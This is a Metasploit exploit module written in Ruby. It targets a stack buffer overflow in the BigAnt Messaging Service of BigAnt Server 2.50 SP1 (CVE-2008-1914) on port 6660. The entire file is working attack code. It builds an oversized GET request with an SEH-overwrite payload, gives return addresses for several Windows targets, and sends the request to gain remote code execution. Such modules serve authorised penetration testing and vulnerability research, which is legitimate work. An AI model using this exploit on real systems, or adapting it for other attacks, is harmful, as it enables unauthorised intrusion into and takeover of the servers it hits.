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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'BigAnt Server 2.50 SP1 Buffer Overflow',
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        'Description' => %q{
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          This exploits a stack buffer overflow in the BigAnt Messaging Service,
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          part of the BigAnt Server product suite. This module was tested
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          successfully against version 2.50 SP1.
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        },
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        'Author' => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          # It's not clear if these are correct - there was a fix for
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          # the v2.2 vuln back in Dec 2008
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          [ 'CVE', '2008-1914'],
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          [ 'OSVDB', '44454'],
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          [ 'EDB', '9673' ],
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          [ 'EDB', '9690' ]
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          # [ 'B_ID', '28795' ],
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          # [ 'U_RL', 'http://www.milw0rm.com/exploits/5451'],
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'seh',
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          'AllowWin32SEH' => true
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        },
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        'Payload' => {
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          'Space' => 710,
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          'BadChars' => "\x00\x20\x0a\x0d",
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          'StackAdjustment' => -3500,
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          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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          'DisableNops' => true,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'BigAnt 2.5 Universal',	{ 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & aushack) p/p/r VBAJET32.dll xpsp3 & w2k
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          [ 'Windows 2000 Pro All English',	{ 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (aushack 20090918)
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          [ 'Windows XP Pro SP0/SP1 English',	{ 'Ret' => 0x71aa32ad } ], # Should Work
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2008-04-15',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(6660)])
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  end
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  def exploit
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    connect
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    sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)
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    sploit << rand_text_alpha_upper(1000 - payload.encoded.length)
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit + "\r\n\r\n")
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    handler
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    disconnect
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  end
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end
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